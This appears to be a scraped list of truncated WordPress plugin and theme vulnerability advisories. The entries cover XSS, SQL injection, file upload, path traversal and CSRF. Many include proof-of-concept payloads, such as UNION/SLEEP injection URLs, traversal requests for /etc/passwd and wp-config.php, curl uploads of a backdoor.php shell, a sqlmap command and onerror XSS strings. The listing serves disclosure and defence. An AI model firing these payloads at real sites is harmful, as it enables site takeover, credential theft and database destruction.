Brizy - Page Builder < 1.0.114 - Unauthenticated Site Settings Update

Edit WPscanTeam The plugin fails to restrict access to the site settings page, allowing unauthenticated users to change them, such as site title, description as well as put XSS payload in the footer, leading to Unauthenticated Stored XSS issues. As we saw probes in the wild checking for the issue...

Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS)

AJAX endpoints which returns JSON data has no Content-Type header set, and uses default text/html. Any JSON that has HTML will be rendered as such. PoC URL uses unauthenticated action "heateorssssharingcount": http://WORDPRESSDOMAINHERE/wp-admin/admin-ajax.php?action=heateorssssharingcount&urls=...

WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution (RCE)

WP Support Plus Responsive Ticket System Choose a file ending with .phtml: After doing this, an uploaded file can be accessed at, say: http://example.com/wp-content/uploads/wpsp/1510248571filename.phtml...

Events <= 2.3.4 - Authenticated SQL Injection

Type user access: administrator user. $GET‘editevent’ is not escaped. File / Code: Path Request: /wp-content/plugins/wp-events/wp-events.php Line : 450 – 468 if isset $GET'editevent' $eventeditid = escattr $GET'editevent' ; ... $editevent = $wpdb-getrow "SELECT FROM $wpdb-prefixevents WHERE id =...

MailChimp for WordPress <= 4.1.6 - Authenticated Cross-Site Scripting (XSS)

Usage of the output of addqueryarg without escaping in various places in the WordPress Backend leads to reflected XSS vulnerability. URL/wp-admin/admin.php?page=mailchimp-for-wp-integrations&"alert1...

Photo Gallery by WD <= 1.3.35 - Authenticated SQL Injection

http://www.defensecode.com/advisories/DC-2017-02-011WordPressWebDoradoGalleryPluginAdvisory.pdf http://www.vulnerablesite.com/wp-admin/admin-ajax.php?action=addAlbumsGalleries&albumid=0%20AND%20SELECT%20%20FROM%20SELECTSLEEP5VvZV&width=700&height=550&bwgitemsperpage=20&bwgnonce=b939983df9&TBifram...

Contus Video Comments - Unauthenticated Remote JPG File Upload

The contus-video-comments WordPress plugin was affected by an Unauthenticated Remote JPG File Upload security vulnerability. curl --data @image.jpg "http://www.example.com/wp-content/plugins/contus-video-comments/save.php?id=../image"...

Multiple Themes - Privilige Escalation

The themes suffer from a privilege escalation vulnerability, any authenticated user can trigger this vulnerability due to weak permissions checking. An attacker can update options, such as changing user's default role, registration state and others, which may lead to executing commands/code on th...

wp-instance-rename <= 1.0 - Arbitrary File Download

The wp-instance-rename WordPress plugin was affected by an Arbitrary File Download security vulnerability. url --data "dbname=wp&dumpfname=/etc/passwd&backupfolder=." http://www.example.com/wp-instance-rename/mysqldumpdownload.php -o p.zip...

Anti-Malware & Brute-Force Security by ELI <= 4.15.22 - Stored XSS

The Anti-Malware and Brute-Force Security by ELI has two issues which we will cover in this report. The first is that no nonce CSRF token is utilized on the settings screen. This could potentially result in resource utilization by performing a large number of scans simultaneously, should an...

Simple Photo Gallery 1.7.8 - Blind SQL Injection

MySQL = 5.0.12 AND time-based blind SELECT sql injection in the galleryid parameter. ./sqlmap.py --dbms=MYSQL --technique T -u http://www.example.com/wordpress/index.php/wppgphotogallery/wppgphotodetails/?galleryid=1&imageid=14...

Freshmail for WordPress <= 1.5.8 - Unauthenticated SQL Injection

There is a unauthenticated SQL injection vulnerability in the "Subscribe to our newsletter" formularies showed to the web visitors in the POST parameter fmformid. POST /wp-admin/admin-ajax.php HTTP/1.1 Host: X-Requested-With: XMLHttpRequest ... Cookie: wordpressf30...

N-Media Website Contact Form with File Upload <= 1.3.4 - Arbitrary File Upload

The "uploadfile" ajax function is affected from unrestricted file upload vulnerability. curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nmwebcontactuploadfile" http://www.example.com/wp-admin/admin-ajax.php Response:...

MiwoFTP - File & Folder Manager <= 1.0.4 - Arbitrary File Disclosure

A hook is added to ‘init’ in the file ‘miwoftp/miwoftp.php’. This hook is triggered whenever a user visits the front end of the site. The function specified in this hook will proceed to allow the user to download a file within the scope of the home directory of the site. Various values from the G...

Category Page Icons <= 0.9.1 - Arbitrary File Upload/Deletion via Path Traversal

v0.9.2 added a check to not allow direct access to the affected file. However the path traversal was not fixed Plugin has been closed from repository. Choose File to upload : Directory :...

Nightlife by Templatic - CSRF File Upload

The nightlife WordPress theme was affected by a Templatic Theme CSRF File Upload security vulnerability. File Access: https://example.com/wp-content/themes/nightlife/images/tmp/yourshell.php...

Specialist by Templatic - CSRF File Upload

The specialist WordPress theme was affected by a Templatic Theme CSRF File Upload security vulnerability. File Access: https://example.com/wp-content/themes/specialist/images/tmp/yourshell.php...

Colorbox Lightbox <= 1.1.2 - Authenticated Stored Cross-Site Scripting

The ‘hyperlink’ field in used while linking an image from a URL was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using...

Konzept < 2.5 - Unauthenticated Reflected XSS

An Unauthenticated Reflected XSS vulnerability was discovered in the Konzept theme through 2.3 for WordPress. /?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%60XSS%60%3B%3E...

Fruitful Theme < 3.8.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)

The Fruitful WordPress theme, version 3.8 and possibly below, was affected by an unauthenticated Reflected Cross-Site Scripting XSS vulnerability. The vulnerability was patched in version 3.8.1 of the Theme, although the changelog file only mentions: "Bug fix: Fixed issues on comment form" Add a...

ThemeGrill Demo Importer < 1.6.3 - Auth Bypass & Database Wipe

There is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator. Edit WPScanTeam: v1.6.2 was released with an insufficient fix, allowing attackers to still exploit the issue using a CSR...

RegistrationMagic - Custom Registration Forms <= 3.8.0.4 - Authenticated Reflected XSS

The RegistrationMagic – Custom Registration Forms and User Login WordPress plugin was affected by a Custom Registration Forms = 3.8.0.4 - Authenticated Reflected XSS security vulnerability. GET...

Simple Events Calendar <= 1.3.5 - Authenticated SQL Injection

Type user access: administrator user. $POST‘eventid’ is not escaped. File / Code: Path Request: /wp-content/plugins/simple-events-calendar/simple-events-calendar.php Line : 467 $editevent = $POST'eventid'; $update = $wpdb-getresults " SELECT FROM $tablename WHERE id = $editevent ", "ARRAYA" ;...

Invite Anyone <= 1.3.18 - Unauthenticated PHP Object Injection

The plugin invite-anyone insecurely trusts serialized data submitted over HTTP requests. This opens up the site to a PHP object injection vulnerability potential exploit vector. Similar to previous attacks, you send a cookie named "invite-anyone" with serialized data for your target object...

Task Manager Pro <= 1.3.1 - Authenticated Cross-Site Scripting (XSS)

Multiple authenticated XSS vulnerabilities found logged as a low privileged user. Authenticated Stored XSS: Logged as a follower, the lowest privileged user. Write the payload in the 'Add a comment' section Authenticated Reflected XSS On task-edit, task-details, project-details pages:...

Calendar by WD <= 1.5.51 - Authenticated SQL injection

http://www.defensecode.com/advisories/DC-2017-01-017WordPressSpiderEventCalendarPluginAdvisory.pdf Vulnerable POST URL: http://www.vulnerablesite.com/wpadmin/admin.php?page=SpiderCalendar&task=showmanageevent&calendarid=1 Vulnerable POST Body:...

Javo Spot Premium Theme - Unauthenticated Directory Traversal

Print out any file in the via an unauthenticated AJAX request. /wp-admin/admin-ajax.php? jvfrmspotgetjson&fn=../../wp-config.php&callback=jQuery...

Single Personal Message 1.0.3 – Authenticated SQL Injection

Type user access: any user. $GET‘message’ is not escaped. Is accessible for every registered user. http://www.example.com/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wpterms%20WHERE%20termid=1...

Answer My Question 1.3 - SQL Injection

$POST'id' is not escaped. Url is accessible for any user. Url vulnerable : http://target/wp-content/plugins/answer-my-question/modal.php...

W3 Total Cache <= 0.9.4.1 – Authenticated Arbitrary File Download

When you're creating a support ticket in the plugin page, you can add one or more of your your template themes. Then this file will be send to the author to help him resolving the issue. Now you select one, you send the form and same as for the files before, you will send it to the author to help...

WP Multiple Meta Box 1.0 - Authenticated Blind SQL Injection

The multi-meta-box WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability. http://www.example.com/wp-admin/admin.php?page=multimetaboxlisting&action=edit&id=1 AND SELECT FROM SELECTSLEEP5Etmx...

Recent Posts Widget Extended <= 0.9.9.3 - Authenticated XSS (multisite)

XSS in the Recent Posts Widget Extended plugin allows single site admins to change network admin's password with simple CSRF described above POC field. This vulnerability is currently unpatched. 1. Login as single site administrator 2. Add Recent Posts Extended Widget to some widget area 3. Add...

Admin Pack by SITE CASEIRO <= 1.1 - Authenticated Stored Cross-Site Scripting (XSS)

The admin-pack-by-site-caseiro WordPress plugin was affected by an Authenticated Stored Cross-Site Scripting XSS security vulnerability...

Hide My WP <= 4.51.1 - Stored Cross-Site Scripting (XSS)

An attacker can make a fake attack attempt, with a JavaScripting payload, which will be logged by the plugin, resulting in XSS. The attacker also can spoof their IP address in the logs by setting the X-FORWARDED-FOR header. curl --referer ' // :; ;' --header 'X-FORWARDED-FOR: 8.8.8.8'...

Image Export <= 1.1.0 - Directory Traversal

The image-export WordPress plugin was affected by a Directory Traversal security vulnerability. $ curl http://www.example.com/wp-content/plugins/image-export/download.php?file=/etc/passwd...

WP-CopyProtect <= 3.0.0 - CSRF & Stored Cross-Site Scripting (XSS)

The WP-CopyProtect Protect your blog posts plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of Cross-Site Request Forgery CSRF token nonce. alert1'/ document.getElementById"form".submit;...

Users to CSV <= 1.4.5 - Cross-Site Request Forgery (CSRF)

The users-to-csv WordPress plugin was affected by a Cross-Site Request Forgery CSRF security vulnerability. http://www.example.com/wp-admin/users.php?page=users2csv.php&csv=true&table=users http://www.example.com/wp-admin/users.php?page=users2csv.php&csv=true&table=comments...

Zip Attachments <= 1.1.4 - Arbitrary File Download

The zip-attachments plugin allows arbitrary file downloads because it does not check the download path of the requested file. http://www.example.com/wp-content/plugins/zip-attachments/download.php?zafile=../../../../../etc/passwd&zafilename=passwd...

Visual Form Builder <= 2.8.2 - SQL Injection & Reflected XSS

The Visual Form Builder WordPress plugin was affected by a SQL Injection & Reflected XSS security vulnerability. SQL Injection ------------- http://www.example.com/wp-admin/admin.php?page=visual-form-builder&form-filter=1+or+1%3D2...

Anti-Malware & Brute-Force Security by ELI <= 4.15.17 - Multiple Reflected XSS

The Anti-Malware Security and Brute-Force Firewall WordPress plugin was affected by a Multiple Reflected XSS security vulnerability. http://localhost/wordpress/wp-admin/admin.php?page=GOTMLS-settings&GOTMLSmsg=xsstestalert1...

Modern Theme <= 1.4.1 - DOM Cross-Site Scripting (XSS)

The Modern WordPress theme was affected by a DOM Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-content/themes/modern/genericons/example.html...

WP-Mon - Arbitrary File Download

The wp-mon WordPress plugin was affected by an Arbitrary File Download security vulnerability. As seen in access logs: http://www.example.com/wp-content/plugins/wp-mon/assets/download.php?type=octet/stream&path=../../../../&name=wp-config.php...

WordPress Uninstall <= 1.1 - WordPress Deletion via CSRF

Any registered user can delete all WordPress database tables and files. This request makes it possible: http://wp.dev/wp-admin/admin-ajax.php?action=uninstall...

15Zine < 3.3.0 - Reflected Cross-Site Scripting

Description The theme does not sanitise and escape the cbi parameter before outputing it back in the response via the cbsa AJAX action, leading to a Reflected Cross-Site Scripting https://example.com/wp-admin/admin-ajax.php?action=cbsa&cbi=alert/XSS/;...

Quick Chat <= 4.14 - Authenticated Stored Cross-Site Scripting

An Authenticated Persistent XSS vulnerability is present in the the plugin options page /wp-admin/options-general.php?page=quick-chat/quick-chat.php, vulnerable fields: «Chat name prefix for guest users», «Advertisement code for your AdSense». The PoC will be displayed once the issue has been...

Quick Chat <= 4.14 - Unauthenticated Stored Cross-Site Scripting

An Unauthenticated Persistent XSS vulnerability was discovered in the Quick Chat plugin v4.14 for WordPress. The PoC will be displayed once the issue has been remediated...

NextGEN Gallery Sell Photo <= 1.0.4 - Authenticated Stored Cross-Site Scripting

The Button Text/Image field in Settings page of Sell Photos Plugin was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. It is triggered when a users loads a page where the plugin is used, and when an admin opens settings page of the plugin. The PoC will be...

Sell Photo <= 1.0.5 - Authenticated Stored Cross-Site Scripting

The Button Text/Image field in Settings page of Sell Photos Plugin was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. It is triggered when a users loads a page where the plugin is used, and when an admin opens settings page of the plugin. The PoC will be...

Jetapo < 1.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)

An Unauthenticated Reflected XSS vulnerability was discovered in the Jetapo theme through 1.0.0 for WordPress. https://jetapo.inwavethemes.com/jobs/?location=%22%20autofocus%20onfocus=alertXSS;%20%22%3E...

Prolisting - Directory Listing < 1.27 - Unauthenticated Reflected XSS

Unauthenticated Reflected XSS vulnerability was discovered in the «Prolisting - Directory Listing WordPress Theme», tested version — v1.2. https://demoapus.com/prolisting/listings/?searchdistance=%22%3E%3Cimg%20src=x%20onerror=alertXSS%3E...